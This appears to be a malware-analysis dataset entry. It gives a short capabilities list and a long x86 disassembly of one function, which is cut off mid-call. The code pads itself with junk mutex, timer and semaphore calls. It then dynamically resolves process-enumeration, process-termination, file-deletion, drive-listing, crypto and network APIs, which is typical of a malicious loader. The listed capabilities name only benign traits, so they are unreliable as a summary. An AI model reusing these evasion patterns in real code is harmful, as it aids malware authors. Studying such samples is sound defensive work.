Function at 0x401000
Capabilities:
Check mutex on windows
Print debug messages
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe0c
push ebx
push esi
push edi
push 0x4140a0
xor edi, edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x40102e
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x401030
call ebx
push str.ev_3txthcyl
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.WTMR_t9dqugx3
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.log:_xa8skody
call edi
push 0xbcd
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.18f1feeq
push str.pvw4y86y
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
push 0x69b
push esi
push 4
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.log:_d0pqtjgd
call edi
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.XMLhva08dl6
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea eax, [ebp - 0x1c]
push eax
push 0x20019
push 0
push str.regt1hoaa0z
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.SMPHR_cmv2w4mm
push 1
push 0
push 0
call esi
mov esi, eax
lea eax, [ebp - 0x20]
push eax
push 0x20019
push 0
push str.reghw92kcwn
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x401133
push str.log:_cm74tasm
call edi
mov esi, dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.WTMR_3qz26ykd
push 1
push 0
call esi
test eax, eax
je 0x401151
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
jmp 0x401153
call ebx
lea eax, [ebp - 0x188]
push eax
push str.s_06qpn57b
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
call ebx
push str.log:_sobwjmja
call edi
push str.8h19f5d2
push str.g5ia9mis
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.WTMR_20ynmrkr
push 1
push 0
call esi
test eax, eax
je 0x40119b
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.ev_m4af29gc
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.WTMR_0aajmmsz
push 1
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.SMPHR_x3fztnz0
push 1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x40120a
lea eax, [ebp - 4]
push eax
push 0x20019
push esi
push str.reg6xarw3nm
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
push 0x136b
push esi
push 4
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.MTXp98k0vm1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x401257
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [ebp - 4]
push eax
push 0x20019
push esi
push str.regx4mi0xax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
jmp 0x40125b
call ebx
call ebx
lea eax, [ebp - 0x2c8]
push eax
push str.s_a2mzdzfv
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x605
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea eax, [ebp - 0x24]
push eax
push 0x20019
push 0
push str.regoq49feeo
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
call ebx
push str.XMLad1sgqbo
push 1
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push 7
pop esi
push str.log:_wzqp6c4u
call edi
sub esi, 1
jne 0x4012c4
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 8], eax
test eax, eax
jne 0x4012e9
push 0xfffffffffffffff7
jmp 0x40271b
push str.ev_oqvhajg6
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
xor eax, eax
push eax
push 0x8fc
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.WTMR_ap7h9cwp
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.log:_2wh3jior
mov esi, eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea eax, [ebp - 0x28]
push eax
push 0x20019
push 0
push str.regtdxsmgj7
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0xb51
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.azxr8vvt
push str.i1ltdh3d
call esi
push str.XML9a8ekckl
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.wgx5epqc
push str.p5iuu6rr
call esi
push str.MTXxrnaljkb
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x4013cd
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x4013cf
call ebx
push str.WTMR_4ejqkw98
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.log:_essybvoi
mov esi, eax
call edi
test esi, esi
je 0x4013f1
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea eax, [ebp - 0x408]
push eax
push str.s_13omk823
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.SMPHR_d6g0oj9x
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov esi, eax
lea eax, [ebp - 0x2c]
push eax
push 0x20019
push 0
push str.reg2evq7hmx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0
push 1
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call esi
call ebx
lea eax, [ebp - 0x30]
push eax
push 0x20019
push 0
push str.reg6f1x1gps
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.log:_vwtbxe4f
call edi
push str.XMLdni0wyca
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call esi
lea eax, [ebp - 0x548]
push eax
push str.s_cl2lrfnl
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.ev_jnkpswlz
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0xb05
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.r60gy77y
push str.kx93s8g8
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.WTMR_itzaz753
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.MTXgul7fnll
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x40150f
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x401516
push str.log:_wm4onq2r
call edi
push str.SMPHR_wgkiogl0
push 1
push esi
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
jne 0x40153d
push str.log:_lza74ove
call edi
push 0x4143a4
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MTXbve9i92f
push 0
push 0
mov dword [0x41a0d8], eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x40156c
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x40156e
call ebx
push str.SMPHR_99o2hrlu
push 1
push 0
push 0
call esi
xor esi, esi
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x401592
push str.log:_gekgrb32
call edi
push str.WTMR_uba7b9ps
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push 0xe55
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea eax, [ebp - 0x34]
push eax
push 0x20019
push 0
push str.regz26vpvba
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.XML5663xrnk
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.WTMR_t93elw7z
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x401611
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
jmp 0x401618
push str.log:_1v4xzgnv
call edi
push str.XMLxs81oyxk
push 1
push 0
push 0
call esi
xor esi, esi
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.ev_u01zf1fw
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
xor esi, esi
push esi
push 0x10c8
push esi
push 4
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x56c
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push str.log:_pf2sze8d
mov esi, eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 0x688]
push eax
push str.s_iqibkv0r
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.WTMR_uttqspht
push 1
push 0
call esi
push str.log:_5w3xuj3k
mov dword [ebp - 0xc], eax
call edi
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x4016c9
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.MTXxh6sfve5
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x4016ec
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.log:_rkh7fcrb
call edi
jmp 0x4016fc
push str.7dxsou8c
push str.9ccltgya
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.WTMR_57m625gl
push 1
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.hrkfnz0y
push str.f5d6ctoi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.SMPHR_g8a0z5hf
push 1
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x40173f
call ebx
call ebx
mov esi, dword [ebp - 8]
push 0x4144e8
push esi
call dword [0x41a0d8]
push str.TerminateProcess
push esi
mov dword [0x41a03c], eax
call dword [0x41a0d8]
push 2
mov dword [0x41a118], eax
pop esi
push str.log:_rzl0989j
call edi
sub esi, 1
jne 0x401769
push str.MTX0w3vcbg3
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x40178f
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x4017a1
push str.mmpxycqr
push str.5jdljpm5
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
call ebx
push str.XMLen0ftpga
push 1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea eax, [ebp - 0x38]
push eax
push 0x20019
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.reg000fmnmr
push 0x80000001
call esi
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.reg4k7ln5s3
push 0x80000001
call esi
xor eax, eax
push eax
push 0x70b
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push str.log:_gtx67q6t
mov esi, eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.WTMR_8so0raow
push 1
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea eax, [ebp - 0x7c8]
push eax
push str.s_rgv22f5p
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.SMPHR_mqgp8qxa
push 1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
jne 0x40186e
push str.4koxiz8h
push str.5yeqic4w
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0xe92
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push str.dt1sigg9
push str.xt72hkxm
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, dword [ebp - 8]
push str.GetUserDefaultLocaleName
push esi
call dword [0x41a0d8]
push str.GetEnvironmentVariableW
push esi
call dword [0x41a0d8]
push 0x414604
push esi
mov dword [0x41a164], eax
call dword [0x41a0d8]
push str.FreeLibrary
push esi
mov dword [0x41a19c], eax
call dword [0x41a0d8]
push str.GlobalFree
push esi
mov dword [0x41a148], eax
call dword [0x41a0d8]
push str.CreateFileW
push esi
mov dword [0x41a0e0], eax
call dword [0x41a0d8]
push str.GetTimeZoneInformation
push esi
mov dword [0x41a044], eax
call dword [0x41a0d8]
push str.lstrcpyA
push esi
mov dword [0x41a028], eax
call dword [0x41a0d8]
push str.ReadFile
push esi
mov dword [0x41a054], eax
call dword [0x41a0d8]
mov dword [0x41a08c], eax
lea eax, [ebp - 0x908]
push eax
push str.s_wshqheiv
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.WTMR_ji8yg9q8
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.qb3lu0gc
push str.1njpgfbp
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
call ebx
xor esi, esi
push esi
push 0x420
push esi
push 4
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.SMPHR_zj2wlfsz
push 1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov esi, eax
call ebx
push 0
push 1
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call esi
push str.XMLah34qh7f
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call esi
push str.log:_xxzskeif
call edi
push 0xf81
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
call ebx
push str.MTX3sh9yuqe
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x4019fd
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x401a27
lea eax, [ebp - 4]
push eax
push 0x20019
push esi
push str.regutkaq92b
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.fsoyfi2k
push str.z4jdppmk
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 5
pop esi
push str.rm00m9og
push str.26wbij8k
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
sub esi, 1
jne 0x401a2a
push str.ev_sr2c8jgl
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.WTMR_5lzbs84j
push 1
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x401a8a
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea eax, [ebp - 4]
push eax
push 0x20019
push esi
push str.regvovkkpye
jmp 0x401a99
lea eax, [ebp - 4]
push eax
push 0x20019
push esi
push str.regkkk0nrnh
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, dword [ebp - 8]
push str.lstrlenW
push esi
call dword [0x41a0d8]
push str.WriteFile
push esi
mov dword [0x41a090], eax
call dword [0x41a0d8]
push str.SetCurrentDirectoryW
push esi
mov dword [0x41a0ec], eax
call dword [0x41a0d8]
push str.lstrcmpW
push esi
mov dword [0x41a0dc], eax
call dword [0x41a0d8]
push 0x41477c
push esi
mov dword [0x41a0a4], eax
call dword [0x41a0d8]
push 0x414788
push esi
mov dword [0x41a0c0], eax
call dword [0x41a0d8]
push str.FindNextFileW
push esi
mov dword [0x41a0b8], eax
call dword [0x41a0d8]
push str.FindFirstFileW
push esi
mov dword [0x41a150], eax
call dword [0x41a0d8]
push str.Process32First
push esi
mov dword [0x41a020], eax
call dword [0x41a0d8]
push str.Process32FirstW
push esi
mov dword [0x41a10c], eax
call dword [0x41a0d8]
push str.GetFileSize
push esi
mov dword [0x41a070], eax
call dword [0x41a0d8]
push str.OpenMutexW
push esi
mov dword [0x41a154], eax
call dword [0x41a0d8]
push str.WideCharToMultiByte
push esi
mov dword [0x41a170], eax
call dword [0x41a0d8]
push str.GlobalAlloc
push esi
mov dword [0x41a0e8], eax
call dword [0x41a0d8]
push str.GetCurrentProcess
push esi
mov dword [0x41a098], eax
call dword [0x41a0d8]
push str.ExitProcess
push esi
mov dword [0x41a048], eax
call dword [0x41a0d8]
push str.CreateMutexW
push esi
mov dword [0x41a02c], eax
call dword [0x41a0d8]
push str.GetSystemWow64DirectoryW
push esi
mov dword [0x41a108], eax
call dword [0x41a0d8]
push str.GetLocaleInfoW
push esi
mov dword [0x41a110], eax
call dword [0x41a0d8]
push str.GlobalMemoryStatusEx
mov dword [0x41a0ac], eax
push esi
call dword [0x41a0d8]
push str.GetDriveTypeW
push esi
mov dword [0x41a034], eax
call dword [0x41a0d8]
push str.OpenProcess
push esi
mov dword [0x41a130], eax
call dword [0x41a0d8]
push 0xb3d
push 0
mov dword [0x41a060], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push str.2gkvcdb1
push str.rseb5bix
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.log:_b4hyckhe
call edi
xor esi, esi
push esi
push 0x114c
push esi
push 4
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.pgud7ptw
push str.aelrl2j6
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.WTMR_rpz441n0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.krz8kixg
push str.f008uchi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.SMPHR_3z2jgc85
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x401cd9
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.regjacvrzlz
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.XMLgmuoi093
push 1
push 0
push 0
call esi
xor esi, esi
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.MTXkgzfogh1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x401d1e
push str.1qqegkfe
push str.m3q5ss2g
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x401d25
push str.log:_4jhi6am9
call edi
push 9
pop esi
call ebx
sub esi, 1
jne 0x401d28
mov esi, dword [ebp - 8]
push 0x414964
push esi
call dword [0x41a0d8]
push str.lstrcmpiW
push esi
mov dword [0x41a04c], eax
call dword [0x41a0d8]
push str.SetEnvironmentVariableW
push esi
mov dword [0x41a11c], eax
call dword [0x41a0d8]
push str.CopyFileW
push esi
mov dword [0x41a168], eax
call dword [0x41a0d8]
push str.GetModuleFileNameW
push esi
mov dword [0x41a188], eax
call dword [0x41a0d8]
push str.lstrcmpA
push esi
mov dword [0x41a074], eax
call dword [0x41a0d8]
push str.Sleep
push esi
mov dword [0x41a088], eax
call dword [0x41a0d8]
push str.GetSystemInfo
push esi
call dword [0x41a0d8]
push 0x4149d8
push esi
mov dword [0x41a0fc], eax
call dword [0x41a0d8]
push str.Process32Next
push esi
mov dword [0x41a0cc], eax
call dword [0x41a0d8]
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.XMLadrapjgn
push 1
push 0
push 0
mov dword [0x41a080], eax
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.SMPHR_uim3b2dr
push 1
push 0
push 0
call esi
push str.pqxyuwma
push str.wjyxa4l5
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
jne 0x401e33
push str.f5bxpvj1
push str.rn0bqzu5
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea eax, [ebp - 0xa48]
push eax
push str.s_6xmvdt21
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.WTMR_pvp35zn4
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, eax
lea eax, [ebp - 0x3c]
push eax
push 0x20019
push 0
push str.regob3nd9dc
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
call esi
push str.xm73i1hn
push str.ootdmdlf
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.WTMR_4cznwzs0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x401ea9
push eax
call esi
jmp 0x401eab
call ebx
xor esi, esi
push esi
push 0xcb7
push esi
push 4
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xfc0
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push str.log:_nzevc3nv
mov esi, eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
call ebx
push str.MTX2y5wbizf
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x401f1a
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [ebp - 4]
push eax
push 0x20019
push esi
push str.regheb8fznn
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
jmp 0x401f21
push str.log:_vnmriia4
call edi
push 5
pop esi
call ebx
sub esi, 1
jne 0x401f24
call ebx
push str.ev_0mmxgmhk
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov esi, dword [ebp - 8]
push str.Process32NextW
push esi
call dword [0x41a0d8]
push str.DeleteFileW
push esi
mov dword [0x41a00c], eax
call dword [0x41a0d8]
push str.lstrcpynA
push esi
mov dword [0x41a0f8], eax
call dword [0x41a0d8]
push str.MultiByteToWideChar
push esi
mov dword [0x41a008], eax
call dword [0x41a0d8]
push 0x414b10
push esi
mov dword [0x41a0b0], eax
call dword [0x41a0d8]
push str.CreateToolhelp32Snapshot
push esi
mov dword [0x41a07c], eax
call dword [0x41a0d8]
push str.HeapFree
push esi
mov dword [0x41a09c], eax
call dword [0x41a0d8]
push str.GetUserDefaultLCID
push esi
call dword [0x41a0d8]
push str.GetLogicalDriveStringsW
push esi
mov dword [0x41a174], eax
call dword [0x41a0d8]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.Shlwapi.dll
mov dword [0x41a14c], eax
call edi
mov esi, eax
push str.PathMatchSpecW
push esi
call dword [0x41a0d8]
push str.StrCpyW
push esi
mov dword [0x41a140], eax
call dword [0x41a0d8]
push str.StrStrIW
push esi
mov dword [0x41a144], eax
call dword [0x41a0d8]
push str.StrStrW
push esi
call dword [0x41a0d8]
push str.PathCombineW
push esi
mov dword [0x41a190], eax
call dword [0x41a0d8]
push str.StrRChrW
push esi
mov dword [0x41a004], eax
call dword [0x41a0d8]
push str.StrToIntA
push esi
mov dword [0x41a0e4], eax
call dword [0x41a0d8]
push str.StrToIntW
push esi
call dword [0x41a0d8]
mov dword [0x41a078], eax
push str.StrStrA
push esi
call dword [0x41a0d8]
push str.StrToInt64ExW
push esi
mov dword [0x41a014], eax
call dword [0x41a0d8]
push str.Ole32.dll
call edi
mov esi, eax
push 0x414c00
push esi
call dword [0x41a0d8]
push str.CoCreateInstance
push esi
call dword [0x41a0d8]
push str.WinInet.dll
mov dword [0x41a194], eax
call edi
push str.Shell32.dll
mov dword [ebp - 8], eax
call edi
push str.User32.dll
mov dword [ebp - 0x14], eax
call edi
push str.Advapi32.dll
mov dword [ebp - 4], eax
call edi
push str.Bcrypt.dll
mov dword [ebp - 0x18], eax
call edi
push str.Crypt32.dll
call edi
push str.WTMR_3ut10lz2
push 1
xor edi, edi
mov dword [ebp - 0xc], eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x402109
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
jmp 0x402119
push str.uqoyz30i
push str.689ogw0n
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea eax, [ebp - 0xb88]
push eax
push str.s_f40mjohs
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
push 0x1098
push edi
push 4
push edi
push 0xffffffffffffffff
